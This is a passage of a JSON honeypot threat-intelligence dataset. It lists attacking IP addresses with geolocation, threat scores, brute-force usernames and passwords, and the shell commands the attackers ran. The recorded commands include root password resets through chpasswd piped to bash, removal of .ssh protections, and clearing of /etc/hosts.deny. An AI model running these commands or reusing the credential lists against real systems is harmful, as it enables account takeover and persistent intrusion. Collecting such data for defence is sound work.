        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "General Pico",
      "asn": 52307,
      "as_org": "CORPICO LTDA",
      "threat_score": 25.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 29.4,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 881,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T10:13:21.535000+00:00",
        "last_seen_30d": "2026-03-17T00:40:07.626000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 751,
        "Suricata": 130
      }
    },
    "137.184.75.235": {
      "attack_count": 701,
      "first_seen": "2026-03-03T03:53:45.663Z",
      "last_seen": "2026-03-11T16:49:34.279Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin1",
        "clawd",
        "docker",
        "hari",
        "kevin",
        "Test",
        "ai",
        "builder",
        "carlo",
        "claude",
        "develop",
        "diego",
        "fox",
        "kali",
        "mailuser",
        "mata",
        "pepe",
        "sam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "12345",
        "1233218613",
        "password",
        "12345678",
        "123456Aa",
        "1qazxcvbnm,",
        "Admin@123#",
        "Asd123456!",
        "Mailuser123!",
        "Mu123456",
        "P@sSw0rd",
        "P@ssw0rdd",
        "QAZ123wsx456",
        "Qwerty123",
        "Shawn123",
        "asdf123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"1233218613\\nPBvq0TWgyjO5\\nPBvq0TWgyjO5\\n\"|passwd",
        "echo \"12345678\\nbgImtX8quKlt\\nbgImtX8quKlt\\n\"|passwd",
        "echo \"123\\nTdr7BX0jKOyW\\nTdr7BX0jKOyW\\n\"|passwd",
        "echo \"123\\nuUTZfxCqDhsO\\nuUTZfxCqDhsO\\n\"|passwd",
        "echo \"kevin\\n4gvAseyZ3smi\\n4gvAseyZ3smi\\n\"|passwd",
        "echo \"root:9Ubv8a4zMzEj\"|chpasswd|bash",
        "echo \"root:iXtklTUP8pPX\"|chpasswd|bash",
        "echo -e \"1233218613\\nPBvq0TWgyjO5\\nPBvq0TWgyjO5\"|passwd|bash",
        "echo -e \"12345678\\nbgImtX8quKlt\\nbgImtX8quKlt\"|passwd|bash",
        "echo -e \"123\\nTdr7BX0jKOyW\\nTdr7BX0jKOyW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 16.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 29.2,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 835,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T03:53:45.663000+00:00",
        "last_seen_30d": "2026-03-11T16:50:39.881000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 701,
        "Suricata": 134
      }
    },
    "203.145.34.37": {
      "attack_count": 529,
      "first_seen": "2026-03-10T17:36:30.634Z",
      "last_seen": "2026-03-19T11:09:32.847Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "clawd",
        "hu",
        "peter",
        "ram",
        "sri",
        "1234",
        "a2",
        "apache",
        "b",
        "blog",
        "c",
        "calvin",
        "claude",
        "fastuser",
        "finn",
        "invoices",
        "jason",
        "mahesh"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "12345678",
        "1234",
        "12345",
        "123456789",
        "123654",
        "B123",
        "P@ssw0rd",
        "Root@123",
        "a2",
        "claude1",
        "clawd@123",
        "fastuser123",
        "finn",
        "hu123",
        "hupassword",
        "invoicespass",
        "jasonpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nThg00qXbOdUF\\nThg00qXbOdUF\\n\"|passwd",
        "echo \"123456\\nCWt4gsWOdlRb\\nCWt4gsWOdlRb\\n\"|passwd",
        "echo \"clawd@123\\n7PLc1NFSQduC\\n7PLc1NFSQduC\\n\"|passwd",
        "echo \"rampassword\\nUJBHsHyTlmFj\\nUJBHsHyTlmFj\\n\"|passwd",
        "echo \"root:yzucKXz4lldm\"|chpasswd|bash",
        "echo -e \"12345678\\nThg00qXbOdUF\\nThg00qXbOdUF\"|passwd|bash",
        "echo -e \"123456\\nCWt4gsWOdlRb\\nCWt4gsWOdlRb\"|passwd|bash",
        "echo -e \"clawd@123\\n7PLc1NFSQduC\\n7PLc1NFSQduC\"|passwd|bash",
        "echo -e \"rampassword\\nUJBHsHyTlmFj\\nUJBHsHyTlmFj\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.0,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 638,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T17:36:30.634000+00:00",
        "last_seen_30d": "2026-03-19T11:10:41.203000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 529,
        "Suricata": 109
      }
    },
    "103.172.236.15": {
      "attack_count": 445,
      "first_seen": "2026-03-02T11:12:05.790Z",
      "last_seen": "2026-03-04T10:04:38.344Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!2QwAsZx",
        "!q2w3e4r",
        "123!@#123",
        "123Qweasdzxc",
        "123qwe456rty",
        "1qaz!2wsx@",
        "888888",
        "Aa@123456",
        "Ab123456!",
        "Admin1234",
        "Bingo@1993",
        "P@55w0rd@123",
        "P@SSW0RD",
        "Sz123456@",
        "WH123456@",
        "^YHN7ujm",
        "asdasd12",
        "khongaibiet"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:EL1oaeMGqcgw\"|chpasswd|bash",
        "echo \"root:U9eId8oF06uv\"|chpasswd|bash",
        "echo \"root:cam5Ai2JxUNR\"|chpasswd|bash",
        "echo \"root:osdZ70G9Ye1K\"|chpasswd|bash",
        "echo \"root:wIXezxkUk0x3\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 38253,
      "as_org": "Hanoi Telecom JSC",
      "threat_score": 4.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.1,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 518,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-02T11:12:05.790000+00:00",
        "last_seen_30d": "2026-03-04T10:05:47.804000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 445,
        "Suricata": 73
      }
    },
    "165.154.6.66": {
      "attack_count": 445,
      "first_seen": "2026-03-17T15:03:47.657Z",
      "last_seen": "2026-03-24T12:01:19.211Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "netflow",
        "ravi",
        "srs",
        "ss",
        "test01",
        "abdel",
        "andrey",
        "backend",
        "cardano",
        "cisco",
        "demo",
        "edward",
        "ks",
        "michele",
        "newuser",
        "nominatim",
        "sm",
        "ssl",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345678",
        "1234",
        "Ks123!",
        "Ravi123!",
        "Sm123",
        "Test01123!",
        "Zhenshan123!",
        "abdel",
        "andrey123!",
        "demo123!",
        "netflow123",
        "newuser",
        "user123!"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"12345678\\n2bonnk4xjBwB\\n2bonnk4xjBwB\\n\"|passwd",
        "echo \"Ravi123!\\nUosJ035JfqiA\\nUosJ035JfqiA\\n\"|passwd",
        "echo \"Test01123!\\nj7z3TDmay8M3\\nj7z3TDmay8M3\\n\"|passwd",
        "echo \"netflow123\\nwl8q78cOIktC\\nwl8q78cOIktC\\n\"|passwd",
        "echo \"password\\na9qRL3fuQSxb\\na9qRL3fuQSxb\\n\"|passwd",
        "echo -e \"12345678\\n2bonnk4xjBwB\\n2bonnk4xjBwB\"|passwd|bash",
        "echo -e \"Ravi123!\\nUosJ035JfqiA\\nUosJ035JfqiA\"|passwd|bash",
        "echo -e \"Test01123!\\nj7z3TDmay8M3\\nj7z3TDmay8M3\"|passwd|bash",
        "echo -e \"netflow123\\nwl8q78cOIktC\\nwl8q78cOIktC\"|passwd|bash",
        "echo -e \"password\\na9qRL3fuQSxb\\na9qRL3fuQSxb\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 35.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.1,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 513,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T15:03:47.657000+00:00",
        "last_seen_30d": "2026-03-24T12:02:20.587000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 445,
        "Suricata": 68
      }
    },
    "103.163.215.10": {
      "attack_count": 416,
      "first_seen": "2026-03-03T06:31:04.586Z",
      "last_seen": "2026-03-11T13:54:09.315Z",
      "sessions": 43,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "hugo",
        "personal",
        "wm",
        "claude",
        "colin",
        "devops",
        "diego",
        "ec2-user",
        "efs",
        "esuser",
        "family",
        "github-runner",
        "httpd",
        "i",
        "jan",
        "nodejs",
        "ops",
        "rico"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1234",
        "password",
        "123",
        "12345",
        "123456",
        "12345678",
        "1234@Abc",
        "1q2w3e4r@",
        "3edcXSW@",
        "ASD123asd",
        "Baidu@123",
        "Bingo@1993",
        "Huawei!123",
        "Hugo123!",
        "QAZxsw123",
        "Qwe123456.",
        "abc123de",
        "claude"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"Hugo123!\\n92x3VYizc6cA\\n92x3VYizc6cA\\n\"|passwd",
        "echo \"password\\n0KwTHpRLxAAb\\n0KwTHpRLxAAb\\n\"|passwd",
        "echo \"wmpass\\njZ7fOcWSARB8\\njZ7fOcWSARB8\\n\"|passwd",
        "echo -e \"Hugo123!\\n92x3VYizc6cA\\n92x3VYizc6cA\"|passwd|bash",
        "echo -e \"password\\n0KwTHpRLxAAb\\n0KwTHpRLxAAb\"|passwd|bash",
        "echo -e \"wmpass\\njZ7fOcWSARB8\\njZ7fOcWSARB8\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 131366,
      "as_org": "Lanit Technology and Communication Joint Stock Company",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.1,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 516,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T06:31:04.586000+00:00",
        "last_seen_30d": "2026-03-11T13:55:14.915000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 416,
        "Suricata": 100
      }
    },
    "4.240.82.91": {
      "attack_count": 406,
      "first_seen": "2026-03-11T09:57:41.755Z",
      "last_seen": "2026-03-26T07:37:06.554Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "Test",
        "downloader",
        "jason1",
        "n8n",
        "root",
        "ayoub",
        "carlo",
        "central",
        "dev",
        "developer",
        "friend",
        "icecast",
        "innova",
        "john",
        "live",
        "mahdi",
        "mastodon",
        "mehedi",
        "newusername"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "12345678",
        "123",
        "12345",
        "1",
        "1qa@WS3ed",
        "Live123!",
        "Mastodon123!",
        "Test123",
        "developer123",
        "innova123",
        "jason1",
        "mahdi2025",
        "matrix",
        "mehedi123",
        "n8n",
        "password",
        "password123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123\\nDmkpHjNp0KLW\\nDmkpHjNp0KLW\\n\"|passwd",
        "echo \"Test123\\noyDPCyn1PZB9\\noyDPCyn1PZB9\\n\"|passwd",
        "echo \"jason1\\noYg8DI06mxZu\\noYg8DI06mxZu\\n\"|passwd",
        "echo \"n8n\\nSWdQjZtqYeaG\\nSWdQjZtqYeaG\\n\"|passwd",
        "echo -e \"123\\nDmkpHjNp0KLW\\nDmkpHjNp0KLW\"|passwd|bash",
        "echo -e \"Test123\\noyDPCyn1PZB9\\noyDPCyn1PZB9\"|passwd|bash",
        "echo -e \"jason1\\noYg8DI06mxZu\\noYg8DI06mxZu\"|passwd|bash",
        "echo -e \"n8n\\nSWdQjZtqYeaG\\nSWdQjZtqYeaG\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 43.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.0,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 500,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T09:57:41.755000+00:00",
        "last_seen_30d": "2026-03-26T07:38:11.213000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 406,
        "Suricata": 94
      }
    },
    "38.19.156.18": {
      "attack_count": 405,
      "first_seen": "2026-03-11T14:27:42.624Z",
      "last_seen": "2026-03-18T17:58:53.730Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "jhpark",
        "mehedi",
        "root",
        "tigergraph",
        "altibase",
        "andre",
        "arm",
        "bkp",
        "dasusr1",
        "deployuser",
        "intell",
        "internet",
        "mika",
        "n8n",
        "odm",
        "prof",
        "robot",
        "root2",
        "tecnico"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345678",
        "12345",
        "Bkp",
        "Intell123",
        "Internet123!",
        "Prof123!",
        "andre",
        "jhpark123!",
        "mika",
        "n8n",
        "robot123!",
        "tigergraphpass",
        "water123",
        "webmaster",
        "yuanpass"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345\\naiEgkmy0Sk8R\\naiEgkmy0Sk8R\\n\"|passwd",
        "echo \"jhpark123!\\nTisGHT3JxlU1\\nTisGHT3JxlU1\\n\"|passwd",
        "echo \"root:jNbkuWG1ObAH\"|chpasswd|bash",
        "echo \"tigergraphpass\\nZO5k5Owsn3i6\\nZO5k5Owsn3i6\\n\"|passwd",
        "echo -e \"12345\\naiEgkmy0Sk8R\\naiEgkmy0Sk8R\"|passwd|bash",
        "echo -e \"jhpark123!\\nTisGHT3JxlU1\\nTisGHT3JxlU1\"|passwd|bash",
        "echo -e \"tigergraphpass\\nZO5k5Owsn3i6\\nZO5k5Owsn3i6\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Miraflores",
      "asn": 27843,
      "as_org": "WIN EMPRESAS S.A.C.",
      "threat_score": 25.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.8,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 484,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T14:27:42.624000+00:00",
        "last_seen_30d": "2026-03-18T18:00:03.446000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 405,
        "Suricata": 79
      }
    },
    "45.78.194.242": {
      "attack_count": 317,
      "first_seen": "2026-03-04T20:21:58.918Z",
      "last_seen": "2026-03-24T12:15:09.766Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ravi",
        "ss",
        "andrey",
        "cisco",
        "edward",
        "netflow",
        "sm",
        "user",
        "zhenshan"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "12345678",
        "1314520z",
        "741852963",
        "ROOT",
        "Ravi123!",
        "Sm123",
        "Zhenshan123!",
        "adm12345",
        "andrey123!",
        "asd123!@#",
        "asdfgh123456789",
        "netflow123",
        "qwerty654321",
        "root2026@",
        "user123!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "which ls",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "whoami",
        "echo \"Ravi123!\\nAKX3YwUCNv4X\\nAKX3YwUCNv4X\\n\"|passwd",
        "echo \"netflow123\\nhxZYLiQM99pb\\nhxZYLiQM99pb\\n\"|passwd",
        "echo \"password\\n4RU6M8lb6sSM\\n4RU6M8lb6sSM\\n\"|passwd",
        "echo \"root:FmZgBgvbYfB6\"|chpasswd|bash",
        "echo -e \"Ravi123!\\nAKX3YwUCNv4X\\nAKX3YwUCNv4X\"|passwd|bash",
        "echo -e \"netflow123\\nhxZYLiQM99pb\\nhxZYLiQM99pb\"|passwd|bash",
        "echo -e \"password\\n4RU6M8lb6sSM\\n4RU6M8lb6sSM\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.session.params",
        "cowrie.log.closed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 42.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.7,
        "persistence": 17.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 371,
        "days_active_30d": 21,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T20:21:58.918000+00:00",
        "last_seen_30d": "2026-03-24T12:17:40.496000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 317,
        "Suricata": 54
      }
    },
    "165.154.254.11": {
      "attack_count": 307,
      "first_seen": "2026-03-08T20:34:33.914Z",
      "last_seen": "2026-03-21T23:49:16.350Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "345gs5662d34",
        "root",
        "julian",
        "sammy",
        "zz",
        "ansible",
        "hzy",
        "jellyfin",
        "karim",
        "macha",
        "manu",
        "odoo12",
        "salman",
        "sistemas",
        "tanvir",
        "ti",
        "ubuntu",
        "vbox",
        "wordpress"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!QAZ2wsx2025",
        "123",
        "1234",
        "12345678",
        "Cs123456",
        "Tanvir123!",
        "Ti123",
        "Ubuntu@2025",
        "julian123",
        "karim123!",
        "manupass",
        "odoo12",
        "password",
        "salman",
        "sammy",
        "sistemaspass",
        "vps2025"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n0FjU0z4edyod\\n0FjU0z4edyod\\n\"|passwd",
        "echo \"julian123\\nrINOGqxCUNpf\\nrINOGqxCUNpf\\n\"|passwd",
        "echo \"sammy\\nfIx4NBTUwKgn\\nfIx4NBTUwKgn\\n\"|passwd",
        "echo -e \"123456\\n0FjU0z4edyod\\n0FjU0z4edyod\"|passwd|bash",
        "echo -e \"julian123\\nrINOGqxCUNpf\\nrINOGqxCUNpf\"|passwd|bash",
        "echo -e \"sammy\\nfIx4NBTUwKgn\\nfIx4NBTUwKgn\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 142002,
